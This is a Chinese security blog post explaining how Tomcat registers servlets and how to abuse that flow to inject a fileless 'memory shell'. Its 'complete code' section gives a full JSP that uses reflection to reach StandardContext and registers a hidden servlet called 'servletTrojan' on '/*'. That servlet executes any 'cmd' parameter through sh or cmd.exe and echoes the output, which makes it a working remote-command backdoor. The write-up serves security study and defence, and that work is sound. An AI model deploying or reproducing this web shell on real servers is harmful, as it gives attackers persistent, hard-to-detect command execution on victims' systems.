『Java安全』Tomcat内存马_动态注册Servlet内存马
文章目录
- Servlet调用流程分析
- 1. StandardContext.startInternal注册servlet
- 2. StandardContextValue.invoke获取wrapper
- 3. StandardWrapperValue.invoke处理doFilter
- 4. doFilter调用HttpServlet.service提供服务
- Servlet内存马
- 原理
- Ⅰ.获取context
- Ⅱ.生成恶意servlet
- Ⅲ. 生成wrapper并放入context
- Ⅳ. 配置映射
- 完整代码
- 参考引用
- 完
Servlet调用流程分析
1. StandardContext.startInternal注册servlet
启动后在startInternal调用了fireLifecycleEvent
然后来到ContextConfig.webConfig
接着来到configureContext,传入web.xml执行解析操作,按顺序解析Listener、Filter、Servlet
对于解析Servlet:首先配置wrapper
- 调用StandardContext.createWrapper为每个servlet1创建wrapper
- 配置LoadOnStartup启动顺序值
- 配置名称
4.配置类名
然后将wrapper添加到StandardContext,调用的是addChild方法
最后调用addServletMapppingDecoded添加映射
2. StandardContextValue.invoke获取wrapper
注册的wrapper是StandardWrapper类实例,然后调用StandardWrapper.invoke
3. StandardWrapperValue.invoke处理doFilter
然后获取StandardWrapper
首先处理filter
4. doFilter调用HttpServlet.service提供服务
最后doFilter会调用this.servlet.service
HttpServlet.service提供了多种方法
Servlet内存马
原理
模拟正常的注册流程,向StandardContext动态注册含有恶意servlet的Wrapper
- 获取context
- 生成恶意servlet
- 生成wrapper
- wrapper放入context
- 添加mapping映射
Ⅰ.获取context
和其他两种内存马一样
<%Field requestField = request.getClass().getDeclaredField("request");requestField.setAccessible(true);Request request1 = (Request) requestField.get(request);StandardContext standardContext = (StandardContext) request1.getContext();
Ⅱ.生成恶意servlet
重写service方法,当然重写doGet和doPost一样的
HttpServlet servlet = new HttpServlet() {@Overrideprotected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {if (request.getParameter("cmd") != null) {boolean isLinux = true;String osTyp = System.getProperty("os.name");if (osTyp != null && osTyp.toLowerCase().contains("win")) {isLinux = false;}String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();Scanner s = new Scanner(in).useDelimiter("\\A");String output = s.hasNext() ? s.next() : "";response.getWriter().write(output);response.getWriter().flush();}}};
Ⅲ. 生成wrapper并放入context
调用createWrapper方法生成,然后配置name、启动顺序、servlet和类,然后调用addChild加入context
Wrapper wrapper = standardContext.createWrapper();wrapper.setName("servletTrojan");wrapper.setLoadOnStartup(1);wrapper.setServlet(servlet);wrapper.setServletClass(HttpServlet.class.getName());standardContext.addChild(wrapper);
Ⅳ. 配置映射
使用addServletMappingDecoded而不是addServletMapping
standardContext.addServletMappingDecoded("/*", "servletTrojan");
完整代码
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %><%Field requestField = request.getClass().getDeclaredField("request");requestField.setAccessible(true);Request request1 = (Request) requestField.get(request);StandardContext standardContext = (StandardContext) request1.getContext();HttpServlet servlet = new HttpServlet() {@Overrideprotected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {if (request.getParameter("cmd") != null) {boolean isLinux = true;String osTyp = System.getProperty("os.name");if (osTyp != null && osTyp.toLowerCase().contains("win")) {isLinux = false;}String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();Scanner s = new Scanner(in).useDelimiter("\\A");String output = s.hasNext() ? s.next() : "";response.getWriter().write(output);response.getWriter().flush();}}};Wrapper wrapper = standardContext.createWrapper();wrapper.setName("servletTrojan");wrapper.setLoadOnStartup(1);wrapper.setServlet(servlet);wrapper.setServletClass(HttpServlet.class.getName());standardContext.addChild(wrapper);standardContext.addServletMappingDecoded("/*", "servletTrojan");out.println("inject done!");out.flush();
%>
参考引用
Servlet内存马
完
欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://blog.csdn.net/Xxy605/article/details/123716166
版权声明:本文为原创,转载时须注明出处及本声明
『Java安全』Tomcat内存马_动态注册Servlet内存马相关推荐
- 『Java安全』Tomcat内存马_动态注册Listener内存马
『Java安全』反序列化- 文章目录 前言 Tomcat Servlet API Listener介绍 ServletRequestListener介绍 ServletRequestListener调 ...
- 20172311『Java程序设计』课程 结对编程练习_四则运算第一周阶段总结
20172311『Java程序设计』课程 结对编程练习_四则运算第一周阶段总结 结对伙伴 学号 :20172307 姓名 :黄宇瑭 伙伴第一周博客地址: http://www.cnblogs.com/ ...
- 2017-2018-2 165X 『Java程序设计』课程 助教总结
2017-2018-2 165X 『Java程序设计』课程 助教总结 本学期完成的助教工作主要包括: 编写300道左右测试题,用于蓝墨云课下测试: 发布博客三篇:<2017-2018-2 165 ...
- java安装 1723_2017-2018-2 1723 『Java程序设计』课程 结对编程练习-四则运算-准备阶段...
2017-2018-2 1723 『Java程序设计』课程 结对编程练习-四则运算-准备阶段 在一个人孤身奋斗了将近半个学期以后,终于迎来的我们的第一次团队协作共同编码,也就是,我们的第一个结对编程练 ...
- [日推荐]『Java学习者』爱学习的程序猿看过来~
2019独角兽企业重金招聘Python工程师标准>>> 福利时间--今天给程序员大大们推荐一款你们一定会喜欢的小程序,里面有干货哦 Java学习者 **简介:**java学习,Jav ...
- 内存溢出_关于PermGen Space内存溢出解决方案
内存溢出分为Heap Space和PermGen Space两种异常.正巧的是我这次就碰到了PermGen space异常,为了解决这个异常花了我 半天的时间,所以今天写这个方案就是做一种笔记. 刚开 ...
- jvm内存结构_浅谈JVM内存结构
JVM 可以分为 5 个部分,分别是: 类加载器(Class Loader):加载字节码文件到内存. 运行时数据区(Runtime Data Area):JVM 核心内存空间结构模型. 执行引擎(Ex ...
- linux内存管理_浅谈Linux内存管理
1. 扫盲篇 1.1 操作系统存储层次 常见的计算机存储层次如下: 寄存器:CPU提供的,读写ns级别,容量字节级别. CPU缓存:CPU和CPU间的缓存,读写10ns级别,容量较大一些,百到千节. ...
- aep内存用法_一种AEP内存接口的压力检测方法及系统与流程
本发明属于内存接口检测领域,具体涉及一种AEP内存接口的压力检测方法及系统. 背景技术: AEP内存简称Apache Pass DIMMs,为高性能和灵活性而设计的,The Intel® Optane ...
最新文章
- 小程序 缩放_缩放流星应用程序的初体验
- 单例-双重检查锁定与延迟初始化
- XGBoost的PU-Learning
- 京东公布3.8“她的节”消费数据:奢品服饰成交额同比增长170%
- 关于卸载vmwave虚拟机后键盘不能输入的问题
- 获取Android Studio的Sha1
- 《别做正常的傻瓜》读书笔记
- inlfuxdb版本_InfluxDB安装及配置
- js基础知识汇总11
- SQL Server索引超出了数组界限解决方法
- 3D Max模型贴图以及优化
- 智慧城市智慧路灯解决方案
- 计算机网络(网络编程)
- python中的myql的execute()
- php 支持zip解压缩,PHP自带ZIP压缩、解压缩类ZipArchiv使用指南
- diff比较两个目录时,如何略过特定目录或文件
- 平面三角形与三角函数(1):角的度量与换算、三角函数的定义、图形与特征
- Web浏览过程中涉及到的协议
- 长春理工大学成人高考报名流程
- wpa_supplicant 介绍